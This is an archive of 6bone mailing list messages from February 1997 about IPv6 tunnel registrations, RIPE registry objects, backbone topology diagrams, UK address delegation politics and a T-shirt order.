I plan to request some more tunnels in the near future as soon as I've got
routing happy via Cisco :-)

If someone could tell me the username/password to use to insert this
object into the registry, I'd be grateful.

Many thanks.

Guy

Guy Davies  				UUNET
----------				Internet House, 332 Science Park
Operational Services Manager		Milton Road 
					Cambridge, CB4 4BZ
email: guyd@uunet.pipex.com		url: http://www.uunet.pipex.com/
tel: +44 (0)1223 250122 #4		fax: +44 (0)1223 250133


From majordom@ISI.EDU  Tue Feb 18 21:37:05 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199702191337.AA26987@zephyr.isi.edu>
Subject: 0.0.2.1.3.0.f.5.IP6.INT.
To: 6bone
Date: Wed, 19 Feb 1997 05:37:05 -0800 (PST)
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delegation has been pulled, pending a JANET decision.

-- bill

From majordom@ISI.EDU  Wed Feb 19 10:13:44 1997
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From: dlee@visc.vt.edu (David Lee)
Message-Id: <199702192013.PAA10639@ocarina.visc.vt.edu>
Subject: Registry update for VT
To: 6bone@ISI.EDU
Date: Wed, 19 Feb 1997 15:13:44 -0500 (EST)
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Updated record as follows:

site:       Virginia Polytechnic Institute and State University
location:   Blacksburg, Virginia, US
loc-string: 37 12.5n 80 24.4w
prefix:     5F05:2000::0/32
ping:       5F05:2000:80AD:5800:0058:0020:AF52:74CE
tunnel:	    128.173.88.84 131.103.1.54  CICNet: RIPng: operational/1st (up)
tunnel:     128.173.88.84 192.31.7.104  cisco:  RIPng: operational/2nd (up)
tunnel:     128.173.88.84 198.82.208.50 VT-BEV: RIPng: experimental (up)
contact:    David Lee <dlee@vt.edu> (Primary contact, EE)
contact:    Phil Benchoff <benchoff@vt.edu> (Secondary contact, CNS)
status:     operational since January 29, 1997
remark:     Routes will be added on request to dlee@vt.edu.
remark:	    Downstream/topologically close routes preferred.
remark:	    Other information is at http://www.visc.vt.edu/ipv6
remark:	    or http://www.ee.ipv6.vt.edu/ipv6.
changed:    dlee@vt.edu 970219
source:     RIPE

From majordom@ISI.EDU  Wed Feb 19 08:58:02 1997
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Date: Wed, 19 Feb 1997 16:58:02 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 2nd Tshirt order list 17Feb97 1120
Cc: Vincenzo Virgilio <w@acm.org>, larrys@lexis-nexis.com (Larry Snyder),
        Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>,
        "Jeremy M. Behrle" <jbehrle@cisco.com>,
        Richard Levenberg <richardl@adobe.com>,
        "Wynn Fenwick" <wfenwick@kingston.net>,
        psb@mh1.lbl.gov (partha s. banerjee), "David E. Martin" <dem@hep.net>,
        Aaron Dewell <dewell@Alaska.NET>
Sender: owner-6bone@ISI.EDU
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Status: RO

Current 2nd order list for 6bone Tshirts.

I will give this a few more days to collect orders, then close it.


Thanks,

Bob

================================================================================

Banerjee, Partha	2 L	address on file
Behrle, Jeremy	1 XXL	address on file
Clark, Alex	4 M, 14 XL, 2 XXL	address on file
Dewell, Aaron	1 L, 1 XL	address on file
Fenwick, Wynn	1 XL, 1 XXL	address on file
Hoag, Andrew	1 XXL	address on file
Kyriannis, Jimmy	1 L, 1 XL	address on file
Levenberg, Richard	2 L	address on file
Mankin, Allison	2 M, 2 L	address on file
Markov, Igor	1 M	address on file
Martin, David	1 L	address on file
Metz, Craig	1 L	address on file, prepaid
Snyder, Larry	2 XL	address on file
Virgilio, Vincenzo 	2 XL, 1 L	address on file
Whalen, Matthew	1 L	address on file
Winchcombe, Charlie	5 XXL	address on file, prepaid

================================================================================

Please send NO checks/money until after you have received your Tshirt(s) in
the mail.

When you do send a check (only upon receipt of Thsirts) please make it out
to Robert L. Fink and mail to:

	Robert L. Fink
	3085 Buena Vista Way
	Berkeley, CA  94708
	USA

================================================================================



From majordom@ISI.EDU  Thu Feb 20 01:53:46 1997
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Date: Thu, 20 Feb 1997 01:53:46 +0000
To: 6bone@isi.edu
From: Ben Crosby <ben@tellus.co.uk>
Subject: USOT-ECS Ready
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


Just a quick note to say that USOT-ECS is ready to link to 6bone, and our
links will be established over the next few days. We will be running a
mirror of the following;

        Linux source from Kernel 2.1.x stream
        All IPv6 Network tools & patches
        Any FAQ's etc 

The aim is 24/7 availability. Anything relevant will go onto the site. We're
working on a version of apache supporting ipv6, so there may well be a
website to follow soon. 
Links accepted from .ac.uk and .co.uk / UKERNA sites.

        Thanks for all your help

Ben.

Follows USOT-ECS RIPE entry...

site:           USOT-ECS: Electronics and Computer Science
location:       University of Southampton, Hampshire, UK
loc-string:     ?
prefix:         5f03:1200:984e:4100/64
ping:           scorpio.ecs.soton.ac.uk (5f03:1200:984e:4100::1)
tunnel:         152.78.65.209 131.111.193.104   UCAM-T
tunnel:         152.78.65.209 148.88.153.38     ULANC
tunnel:         152.78.65.209 130.88.12.119     UMAN
tunnel:         152.78.65.209 194.105.166.254   IFB
contact:        CSLib Admin <cslman@ecs.soton.ac.uk>
remark:         This will probably change to a mailing list.
status:         final linking 970220
changed:        cslman@ecs.soton.ac.uk 970219
source:         RIPE
Tellus Technologies Corporation
E-mail:	ben@tellus.co.uk 	
Phone: 0976 393790
Fax:  01703 579365      


From majordom@ISI.EDU  Wed Feb 19 22:25:50 1997
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Date: Thu, 20 Feb 1997 03:25:50 -0500
From: Chris Wedgwood <chris@cyphercom.com>
Message-Id: <199702200825.DAA01587@x.cyphercom.com>
To: 6bone@ISI.EDU
Subject: New Tunnel CYPHER -> BAY-MA
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Subject says it all, here is the RIPE ip6rr object:

site:		CYPHER 
location:	Manhattan - New York, New York. 
loc-string:	Behind the flower pots. 
prefix:		5f02:bd00:d0d0:d800/64 
ping:		5f02:bd00:d0d0:d800::a0:24de:9844 (x.ipv6.cyphercom.com) 
tunnel:		208.208.216.10 192.32.29.62 BAY-MA static 
contact:	Chris Wedgwood <chris@cyphercom.com> 
status: 	operational 
remark: 	Seems to be slow and lossy... YMMV. 
remark: 	Looking for (fastish) reliable tunnels. 
remark: 	I twiddle a fair bit - it may be down at times. 
changed:	chris@cyphercom.com 970219 
source: 	RIPE

If someone would kindly let me know the username/password I will upload
this.

Many thanks to Wenken Ling from BAY for setting this up.



-Chris

From majordom@ISI.EDU  Thu Feb 20 11:46:55 1997
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 Thu, 20 Feb 1997 10:46:56 +0100
Date: Thu, 20 Feb 1997 10:46:55 +0100
From: Guardini Ivano <Ivano.Guardini@cselt.stet.it>
Subject: New tunnel between CSELT <-> NRL
To: "'6Bone@isi.edu'" <6Bone@isi.edu>
Message-Id: <c=IT%a=_%p=CSELT%l=XRR1-970220094655Z-14904@xrr1.cselt.stet.it>
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Hi,

there is a new tunnel between CSELT/IT and NRL/US and we have very low
IPv6 packet loss.

I have updated CSELT RIPE database entry:

site:           CSELT (Centro Studi E Laboratori Telecomunicazioni)
location:       Torino, ITALY
loc-string:     45 03 52.2n 07 39 43.2e 250m
prefix:         5f16:4d00::/32
ping:           5f16:4d00:a3a2:1100:0011:800:2071:d812  (SUN SPARC 20
IPv6 SUN for Solaris 2.5)
ping:           5f16:4d00:a3a2:1100:0011:00a0:249d:338c (PC 386 IPv6 NRL
for NetBSD 1.2)
ping:           5f16:4d00:a3a2:1100:0011:0260:8ca3:384e (PC 486 IPv6 for
Linux)
ping:           5f16:4d00:a3a2:1100:0011:0:f822:45bf    (PC Pentium IPv6
Inria for FreeBSD 2.1.5)
tunnel:         163.162.17.77 129.88.26.1    G6         Static Routing
tunnel:         163.162.17.77 193.10.66.50   SICS       Static Routing
tunnel:         163.162.17.77 198.128.2.27   ESNET      Static Routing
tunnel:         163.162.17.77 132.250.90.5   NRL        Static Routing
tunnel:         163.162.17.77 130.192.26.254 POLITO
tunnel:         163.162.252.4 131.175.5.37   CEFRIEL
tunnel:         163.162.252.4 194.242.0.68   SIRIUS-LAB1
contact:        Ivano Guardini <ivano.guardini@cselt.stet.it>
status:         operational since December 4, 1996
remark:         Sun SPARC STATION 20, IPv6 for Solaris 2.5
remark:         We will be happy to set up new tunnels upon request
changed:        ivano.guardini@cselt.stet.it 19970220
source:         RIPE

Many thanks to Ron Lee (NRL) for his collaboration.

    Bye
          Ivano


---------------------------------------------------
Ivano Guardini  CSELT SpA
via G. Reiss Romoli 274  Torino (Italy)
Tel. +39 11 228 5424
Fax. +39 11 228 5069
e-mail: ivano.guardini@cselt.stet.it
---------------------------------------------------


From majordom@ISI.EDU  Thu Feb 20 15:19:20 1997
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Date: Thu, 20 Feb 1997 14:19:20 +0100 (MET)
From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: New RIPng backbone links
In-Reply-To: <v03007800af2796425cbb@[128.3.9.22]>
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Hello Bob,

our links to backbone sites are all RIPng or IDRPv6 links now.

Here the former static links running RIPng now (a few more blue lines in
the backbone diagram :-) :

JOIN-G6
JOIN-ESNET
JOIN-CICNET
JOIN-BAY

All the best
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------



From majordom@ISI.EDU  Thu Feb 20 10:09:26 1997
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Date: Thu, 20 Feb 1997 18:09:26 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone diagram changes
Sender: owner-6bone@ISI.EDU
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Status: RO

6bone diagram version 54:

	added NYU/US, USOT-ECS/UK, BT-LABS/UK, INFN-CNAF/IT

Welcome to the new sites, and my apologies to older sites I have been slow
to add to the diagram.

I am still inaccurately representing the IFB/UK homed leaf sites, as there
are actually some transits in use (I think).  If BT-LABS and ENCOMIX could
hook directly to IFB it might be cleaner...then again it might not.

The IFB cluster seems to be all UK based (but for INR/RU) and it would be
nice if the UK folk got together among themselves and decided a v6 topology
that matches their v4 topology and then identified what is really backbone,
transit and leaf.


6bone backbone links diagram version 5:

	added NWNET/US as a backbone site

	added various static and RIPng links

We are making good progress in moving aaway from static routes.  The goal
should still be for an all dynamically routed backbone with appropriate
links that match v4 topology.

One problem emerging with all the new RIPng tunnels is that lots of routes
are coming from places you might not want them.   There are little or no
filters in use and the backbone is a flat one hop backbone so hop metrics
don't help you.  I would encourage backbone sites to huddle on this and
carefully craft filters and other metrics/policies as appropriate to keep
their route distribution reasonable.


Thanks,

Bob



From majordom@ISI.EDU  Fri Feb 21 17:22:24 1997
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To: 6bone@isi.edu (6BONE Mailer)
Cc: IPv6-SIG@ukerna.ac.uk
Subject: Re: 6bone diagram changes 
X-Uri: <URL:http://www.net.lut.ac.uk/~martin>
In-Reply-To: Your message of "Thu, 20 Feb 1997 18:09:26 PST."
             <v0300780baf32a9689427@[128.3.9.22]> 
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Date: Fri, 21 Feb 1997 17:22:24 +0000
From: Martin Hamilton <martin@mrrl.lut.ac.uk>
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Bob Fink LBNL writes:

| I am still inaccurately representing the IFB/UK homed leaf sites, as there
| are actually some transits in use (I think).  If BT-LABS and ENCOMIX could
| hook directly to IFB it might be cleaner...then again it might not.
| 
| The IFB cluster seems to be all UK based (but for INR/RU) and it would be
| nice if the UK folk got together among themselves and decided a v6 topology
| that matches their v4 topology and then identified what is really backbone,
| transit and leaf.

To follow the v4 topology, us ac.uk nodes probably ought to be talking
to the rest of the 6bone via routers at/near ULCC and Telehouse ?  Any
interest in this on our side of the water ?

Cheerio,

Martin



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From majordom@ISI.EDU  Fri Feb 21 21:42:38 1997
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Date: Fri, 21 Feb 1997 21:42:38 +0000
To: Martin Hamilton <martin@mrrl.lut.ac.uk>
From: Ben Crosby <ben@tellus.co.uk>
Subject: Re: 6bone diagram changes 
Cc: 6bone@isi.edu
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At 17:22 21/02/97 +0000, you wrote:
>Bob Fink LBNL writes:
>
>| I am still inaccurately representing the IFB/UK homed leaf sites, as there
>| are actually some transits in use (I think).  If BT-LABS and ENCOMIX could
>| hook directly to IFB it might be cleaner...then again it might not.
>| 
>| The IFB cluster seems to be all UK based (but for INR/RU) and it would be
>| nice if the UK folk got together among themselves and decided a v6 topology
>| that matches their v4 topology and then identified what is really backbone,
>| transit and leaf.
>
>To follow the v4 topology, us ac.uk nodes probably ought to be talking
>to the rest of the 6bone via routers at/near ULCC and Telehouse ?  Any
>interest in this on our side of the water ?

I agree. Is there any offical movement from ukerna regarding ipv6, or should
we just go ahead in our own sweet way and deal with this amongst ourselves ?

Regards,

        Ben.
        (USOT-ECS Sysadmin)
Tellus Technologies Corporation
E-mail:	ben@tellus.co.uk 	
Phone: 0976 393790
Fax:  01703 579365      


From majordom@ISI.EDU  Sat Feb 22 15:29:30 1997
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199702221529.PAA03640@jpd.ch.man.ac.uk>
Subject: Re: 6bone diagram changes
To: ben@tellus.co.uk (Ben Crosby)
Date: Sat, 22 Feb 1997 15:29:30 +0000 (GMT)
Cc: 6bone@isi.edu
In-Reply-To: <1.5.4.32.19970221214238.0069df30@smtp.tellus.co.uk> from "Ben Crosby" at Feb 21, 97 09:42:38 pm
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> I agree. Is there any offical movement from ukerna regarding ipv6, or should
> we just go ahead in our own sweet way and deal with this amongst ourselves ?

Hi

Last I heard, UKERNA decided on a watching brief. (read: everyone else can
do the dirty work.) IMHO, those of us on the 6bone in the UK should go ahead
and sort things out as best we can. It's exceedingly unlikely there'll be any
effort on the part of UKERNA for a long time.

More importantly, from a research point of view, your best bet when applying
for research grants is to do something new, and good papers written early will
do better on the citation index than good papers written when everything's
been done. It's sad when research has to be so mercenary, but it also means
you can't wait for drifters.

Jonathan


From majordom@ISI.EDU  Sat Feb 22 01:00:17 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199702221700.AA21486@zephyr.isi.edu>
Subject: Re: 6bone diagram changes
To: jcday@jpd.ch.man.ac.uk (Jonathan Day)
Date: Sat, 22 Feb 1997 09:00:17 -0800 (PST)
Cc: ben@tellus.co.uk, 6bone@isi.edu
In-Reply-To: <199702221529.PAA03640@jpd.ch.man.ac.uk> from "Jonathan Day" at Feb 22, 97 03:29:30 pm
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> 
> > I agree. Is there any offical movement from ukerna regarding ipv6, or should
> > we just go ahead in our own sweet way and deal with this amongst ourselves ?
> 
> Hi
> 
> Last I heard, UKERNA decided on a watching brief. (read: everyone else can
> do the dirty work.) IMHO, those of us on the 6bone in the UK should go ahead
> and sort things out as best we can. It's exceedingly unlikely there'll be any
> effort on the part of UKERNA for a long time.
> 
> Jonathan
> 

	I will note that I will not delegate any of the IPv6 entry points
	under the JANET/UKERNA ASNs until they come up with some guidelines
	on how to do sub-delegations to member universities.

	This may impact some of the activities of UK insitutions since you
	can't use the JANET/UKERNA ASN in formulating your IPv6 high order bits.


-- 
--bill

From majordom@ISI.EDU  Sat Feb 22 17:53:17 1997
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Date: Sat, 22 Feb 1997 17:53:17 +0000
To: bmanning@ISI.EDU (Bill Manning)
From: Ben Crosby <ben@tellus.co.uk>
Subject: Re: 6bone diagram changes
Cc: 6bone@ISI.EDU
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At 09:00 22/02/97 -0800, you wrote:
>> 
>> > I agree. Is there any offical movement from ukerna regarding ipv6, or
should
>> > we just go ahead in our own sweet way and deal with this amongst
ourselves ?
>> 
>> Hi
>> 
>> Last I heard, UKERNA decided on a watching brief. (read: everyone else can
>> do the dirty work.) IMHO, those of us on the 6bone in the UK should go ahead
>> and sort things out as best we can. It's exceedingly unlikely there'll be any
>> effort on the part of UKERNA for a long time.
>
>	I will note that I will not delegate any of the IPv6 entry points
>	under the JANET/UKERNA ASNs until they come up with some guidelines
>	on how to do sub-delegations to member universities.
>
>	This may impact some of the activities of UK insitutions since you
>	can't use the JANET/UKERNA ASN in formulating your IPv6 high order bits.

Okey dokes, I cant say that I blame you given the problem, however this will
have an impact on AC.UK as you say. Perhaps we (AC.UK sites) could get
together and agree one site to hold the relevant information, conditional
upon updating entries for other sites upon request and relinquishment of
control to ukerna as soon as they become more interested in whats happening ?

As far as I see that will benefit all of us....

        Ben.
E-mail:	ben@tellus.co.uk 	
Phone: 0976 393790
Fax:  01703 579365      


From majordom@ISI.EDU  Sat Feb 22 18:49:24 1997
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From: Philip Blundell <pjb27@cam.ac.uk>
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To: Bill Manning <bmanning@ISI.EDU>
Cc: Jonathan Day <jcday@jpd.ch.man.ac.uk>, ben@tellus.co.uk, 6bone@isi.edu
Subject: Re: 6bone diagram changes
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On Sat, 22 Feb 1997, Bill Manning wrote:

> 	I will note that I will not delegate any of the IPv6 entry points
> 	under the JANET/UKERNA ASNs until they come up with some guidelines
> 	on how to do sub-delegations to member universities.
> 
> 	This may impact some of the activities of UK insitutions since you
> 	can't use the JANET/UKERNA ASN in formulating your IPv6 high order bits.

A while ago it was suggested that it might be a good idea for us to avoid
the JANET ASN for the time being, and use some other scheme to devise
addresses.  At the time I think the idea was to make routing easier at
IFB, but it might solve some political problems as well.

If nothing else, we could probably invent some fictitious ASN for the
purposes of the 6bone, or persuade somebody in the UK with a non-JANET ASN
(like IFB or UUNET) to delegate sub-prefixes to JANET sites. 

phil


From majordom@ISI.EDU  Sat Feb 22 07:41:38 1997
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Subject: Re: 6bone diagram changes
To: ben@tellus.co.uk (Ben Crosby)
Date: Sat, 22 Feb 1997 15:41:38 -0800 (PST)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
In-Reply-To: <1.5.4.32.19970222175317.00697c08@smtp.tellus.co.uk> from "Ben Crosby" at Feb 22, 97 05:53:17 pm
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> >> and sort things out as best we can. It's exceedingly unlikely there'll be any
> >> effort on the part of UKERNA for a long time.
> >
> >	I will note that I will not delegate any of the IPv6 entry points
> >	under the JANET/UKERNA ASNs until they come up with some guidelines
> >	on how to do sub-delegations to member universities.
> >
> >	This may impact some of the activities of UK insitutions since you
> >	can't use the JANET/UKERNA ASN in formulating your IPv6 high order bits.
> 
> Okey dokes, I cant say that I blame you given the problem, however this will
> have an impact on AC.UK as you say. Perhaps we (AC.UK sites) could get
> together and agree one site to hold the relevant information, conditional
> upon updating entries for other sites upon request and relinquishment of
> control to ukerna as soon as they become more interested in whats happening ?
> 
> As far as I see that will benefit all of us....
> 
>         Ben.

	If you can all agree, then yes.

-- 
--bill

From majordom@ISI.EDU  Sun Feb 23 15:00:56 1997
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Date: Sun, 23 Feb 1997 15:00:56 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: Philip Blundell <pjb27@cam.ac.uk>
Cc: Bill Manning <bmanning@ISI.EDU>, Jonathan Day <jcday@jpd.ch.man.ac.uk>,
        ben@tellus.co.uk, 6bone@isi.edu
Subject: Re: 6bone diagram changes
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Hi Folks,

If you are all still unable to get a sensible response from UKERNA/JANET
then, given that we could delegate say /64 or /80 supernets, I think we,
UUNET/UK, could provide the necessary entries.  I'll confirm this with
various parties in UUNET in the UK tomorrow and, if it's OK, let you know.

We have 5f07:3900/32 and use two supernets within that
(5f07:3900:9e2b:8900/64 and 5f07:3900:c2:8200/64).  There's plenty of
other uniquely addressable space in there ;-)

I think, as I said in an email to most of the UK sites yesterday, it is
worth the UK sites getting our heads together to organise a sensible UK
topology.  I guess the allocation of test address space would be an
integral part of that.

Regards,

Guy Davies  				UUNET
----------				Internet House, 332 Science Park
Operational Services Manager		Milton Road 
					Cambridge, CB4 4BZ
email: guyd@uunet.pipex.com		url: http://www.uunet.pipex.com/
tel: +44 (0)1223 250122 #4		fax: +44 (0)1223 250133

On Sat, 22 Feb 1997, Philip Blundell wrote:

> On Sat, 22 Feb 1997, Bill Manning wrote:
> 
> > 	I will note that I will not delegate any of the IPv6 entry points
> > 	under the JANET/UKERNA ASNs until they come up with some guidelines
> > 	on how to do sub-delegations to member universities.
> > 
> > 	This may impact some of the activities of UK insitutions since you
> > 	can't use the JANET/UKERNA ASN in formulating your IPv6 high order bits.
> 
> A while ago it was suggested that it might be a good idea for us to avoid
> the JANET ASN for the time being, and use some other scheme to devise
> addresses.  At the time I think the idea was to make routing easier at
> IFB, but it might solve some political problems as well.
> 
> If nothing else, we could probably invent some fictitious ASN for the
> purposes of the 6bone, or persuade somebody in the UK with a non-JANET ASN
> (like IFB or UUNET) to delegate sub-prefixes to JANET sites. 
> 
> phil
> 
> 


From majordom@ISI.EDU  Mon Feb 24 16:36:03 1997
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Date: Mon, 24 Feb 1997 16:36:03 +0000
To: 6bone@isi.edu
From: Stuart McDermid <s.mcdermid@ukerna.ac.uk>
Subject: Re: 6bone diagram changes
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I belive that UKERNA is being unfairly treated here (but I would since I am
biased etc.)

UKERNA has set up a SIG devoted to IPv6 (and RSVP) which first met on the
15th of Jan 1997. To join the UKERNA IPv6 mailing list send an email to:
UKERNA-IPv6-SIG-administrator@UKERNA.ac.uk It is a human on the other end
so a simple message is OK. The feeling of this meeting was that anyone
wishing to join the 6bone should do this, and that the SIG should monitor
IPv6 without a major pilot project. 

This doesn't mean that UKERNA doesn't want to do something with IPv6 and is
just sitting on it's hands but that is what people in the UK academic
community that turned up at the SIG meeting told UKERNA. Now if this is
different to what is required then please tell us then we can do something
about it. 

Regards,
Stuart

At 15:29 22/02/97 +0000, you wrote:
>> I agree. Is there any offical movement from ukerna regarding ipv6, or
should
>> we just go ahead in our own sweet way and deal with this amongst
ourselves ?
>
>Hi
>
>Last I heard, UKERNA decided on a watching brief. (read: everyone else can
>do the dirty work.) IMHO, those of us on the 6bone in the UK should go ahead
>and sort things out as best we can. It's exceedingly unlikely there'll be any
>effort on the part of UKERNA for a long time.
>
>More importantly, from a research point of view, your best bet when applying
>for research grants is to do something new, and good papers written early
will
>do better on the citation index than good papers written when everything's
>been done. It's sad when research has to be so mercenary, but it also means
>you can't wait for drifters.
>
>Jonathan
>
>
>
-- 
**************************************************************
* Stuart McDermid, Infrastructure Section, Operations Group, *
* Network Services, UKERNA,  Atlas Centre,  Chilton, Didcot, *
* OXON, OX11 0QS.            E-Mail: S.McDermid@ukerna.ac.uk * 
* Phone: +44 1235 822 231              Fax: +44 1235 822 399 *
**************************************************************

From majordom@ISI.EDU  Mon Feb 24 14:14:43 1997
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Message-Id: <199702250614.WAA04308@yorkie.cisco.com>
From: Kirk Lougheed <lougheed@cisco.com>
To: 6bone@isi.edu
Subject: cisco 6bone router changes
Date: Mon, 24 Feb 97 22:14:43 PST
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I've updated cisco's RIPE entry, enclosed below.  If any of the
connected sites running static routing wish to start speaking RIP
to us, please drop me a line.

Thanks,
Kirk Lougheed
cisco Systems

site:           cisco Systems
location:       San Jose, California, USA
loc-string:     37 24 35.82n 121 57 21.12w -1m
prefix:         5f00:6d00/32
ping:           5f00:6d00:c01f:0700:0001:0060:3e11:6770 6bone-router.cisco.com
tunnel:         192.31.7.104 132.250.90.5   NRL         rip   operational
tunnel:         192.31.7.104 163.221.11.21  WIDE        rip   operational
tunnel:         192.31.7.104 198.128.2.27   ESNET       rip   operational
tunnel:		192.31.7.104 137.132.19.149 NUS-IRDU   static experimental
tunnel:         192.31.7.104 192.9.5.7      SUN        static operational
tunnel:         192.31.7.104 199.171.21.252 NETLAG     static operational 
tunnel:         192.31.7.104 131.179.96.167 UCLA       static operational 
tunnel:         192.31.7.104 129.99.237.71  NAS        static operational 
tunnel:         192.31.7.104 128.223.222.11 UOREGON     rip   operational 
tunnel:		192.31.7.104 204.162.228.3  PARC       static experimental
tunnel:         192.31.7.104 206.62.226.33  KOHALA     static operational
tunnel:         192.31.7.104 132.250.90.3   NRL         rip   operational
tunnel:		192.31.7.104 204.123.2.236  DIGITAL-CA static operational
tunnel:		192.31.7.104 131.103.1.54   CICNET      rip   operational
tunnel:		192.31.7.104 194.226.128.99 KIT        static operational
tunnel:		192.31.7.104 192.170.45.2   HP         static operational
tunnel:		192.31.7.104 140.160.166.22 WWU        static experimental
tunnel:		192.31.7.104 206.129.65.250 NETGOD     static operational
tunnel:		192.31.7.104 198.49.218.71  ASCI        rip   operational
tunnel:		192.31.7.104 203.253.3.204  SSU         rip   operational
tunnel:		192.31.7.104 192.87.110.60  SURFNET     rip   operational
tunnel:		192.31.7.104 128.173.88.84  VT          rip   operational
tunnel:		192.31.7.104 158.43.137.157 UUNET-UK    rip   operational
contact:        <ipv6-support@cisco.com>
status:         cisco has been operational since 5 July 96
remark:         Happy to add new RIPng speaking tunnels upon request.
remark:         Delighted to convert static routing to RIPng routing.
remark:		6bone-router.cisco.com carries all ipv6 routes.
remark:		please report any problems to contact above.
changed:        970224
source:         RIPE

From majordom@ISI.EDU  Tue Feb 25 11:29:44 1997
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Date: Tue, 25 Feb 1997 11:29:44 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: 6bone@isi.edu
Subject: Updates to UUNET-UK ip6rr object
Message-Id: <Pine.GSO.3.95q.970225112747.319G-100000@swannee.uunet.pipex.com>
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Hi Folks,

I've just updated the UUNET-UK ip6rr object to reflect all our new
tunnels.  Thanks to all involved in getting RIPng working across them.

Regards,

Guy

site:           UUNET-UK
location:       Cambridge, UK
prefix:         5f07:3900/32
ping:           5f07:3900:9e2b:8900:98::c92:145c 6bone-gw.ip6.pipex.net
ping:		5f07:3900:c2:8200::c00d:3c4 swannee.ip6.pipex.net
tunnel:		158.43.137.157 192.31.7.104 	CISCO/US RIPng operational
tunnel:		158.43.137.157 192.32.29.62 	BAY/US RIPng operational
tunnel:		158.43.137.157 192.220.249.249 	NWNET/US RIPng operational
tunnel:		158.43.137.157 194.182.135.253	TELEBIT/DK RIPng experimental
tunnel:		158.43.137.157 130.225.231.5	UNI-C/DK RIPng experimental
tunnel:		158.43.137.157 193.10.66.50	SICS/SE RIPng operational
tunnel:		158.43.137.157 192.87.110.60	SURFNET/NL RIPng operational
contact:        IPv6 operations <ipv6@uunet.pipex.com>
status:         operational since 20-Feb-97
remark:         DNS operational for forward (ip6.pipex.net) and reverse
remark:		zones
changed:        Guy.Davies@uunet.pipex.com 970225
source:         RIPE


From majordom@ISI.EDU  Tue Feb 25 12:29:49 1997
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Date: Tue, 25 Feb 1997 17:29:49 -0500
From: Jason Duerstock <jason@linux.aatech.com>
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Subject: Getting attached...
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I'm interested in getting attached to the 6bone.  Where's the best place
to get connected?

Jason Duerstock
System Administrator
jason@ntalr.aatech.com


From majordom@ISI.EDU  Tue Feb 25 09:06:57 1997
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To: Jason Duerstock <jason@linux.aatech.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Getting attached...
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Jason,

At 2:29 PM -0800 2/25/97, Jason Duerstock wrote:
>I'm interested in getting attached to the 6bone.  Where's the best place
>to get connected?

From the page I recently added to the 6bone pages:
Status: RO

------------------
20 February 1997

All 6bone sites designated as Backbone or Transit sites are willing to
connect user/leaf sites if they are appropriately located. This means that
the 6bone is strongly attempting to arrange its tunnels in a way that
matches IPv4 physical topology as much as possible.

To contact these Backbone or Transit sites to request a connection, go to
the 6bone Overview Diagram:

	http://www-6bone.lbl.gov/6bone/6bone-drawing.html

and click on the site of your choice and use the contact email
within.

Failing this, please post email to the 6bone list for help and advice.
-------------------

Bob



From majordom@ISI.EDU  Tue Feb 25 20:23:29 1997
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Date: Wed, 26 Feb 1997 01:23:29 -0500 (EST)
From: Jason Duerstock <jason@linux.aatech.com>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: Getting attached...
In-Reply-To: <v03007815af393b6fd965@[128.3.9.22]>
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On Tue, 25 Feb 1997, Bob Fink LBNL wrote:

> All 6bone sites designated as Backbone or Transit sites are willing to
> connect user/leaf sites if they are appropriately located. This means that
> the 6bone is strongly attempting to arrange its tunnels in a way that
> matches IPv4 physical topology as much as possible.
> 
> To contact these Backbone or Transit sites to request a connection, go to
> the 6bone Overview Diagram:
> 
> 	http://www-6bone.lbl.gov/6bone/6bone-drawing.html
> 
> and click on the site of your choice and use the contact email
> within.
> 
> Failing this, please post email to the 6bone list for help and advice.

I tried looking at the map and I didn't see anything that looked
particularly close in topological terms.  I'm connected through MCI in
Pompano Beach, Florida.  I guess the an ideal hook-up site would be in
Atlanta, preferably connected via MCI too..

Any help would be greatly appreciated. :)

Jason Duerstock
jason@linux.aatech.com


From majordom@ISI.EDU  Tue Feb 25 15:16:22 1997
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To: Jason Duerstock <jason@linux.aatech.com>
Cc: 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: Getting attached... 
In-Reply-To: Your message of Wed, 26 Feb 97 01:23:29 -0500.
             <Pine.LNX.3.95.970226012035.2083A-100000@linux.aatech.com> 
Date: Tue, 25 Feb 97 23:16:22 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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> I tried looking at the map and I didn't see anything that looked
> particularly close in topological terms.  I'm connected through MCI in
> Pompano Beach, Florida.  I guess the an ideal hook-up site would be in
> Atlanta, preferably connected via MCI too..
> 
> Any help would be greatly appreciated. :)

Traceroute to the V4 addresses of the various backbone sites and see
who is closest in number of hops and has the lowest latency and/or
packet loss. You might want to do your traceroutes during the day,
rather than at night, or sample at a couple times during peak and
non-peak hours for your timezone, and the timezones of the backbone
sites.

Stephen
- -----
Stephen Stuart				stuart@pa.dec.com
Network Systems Laboratory
Digital Equipment Corporation


From majordom@ISI.EDU  Wed Feb 26 10:49:09 1997
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	id NAA26080 (8.7.6/7.5b-FAU); for <6bone@isi.edu>; Wed, 26 Feb 1997 13:49:35 +0100 (MET)
From: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
Message-Id: <199702261249.NAA26080@faui40.informatik.uni-erlangen.de>
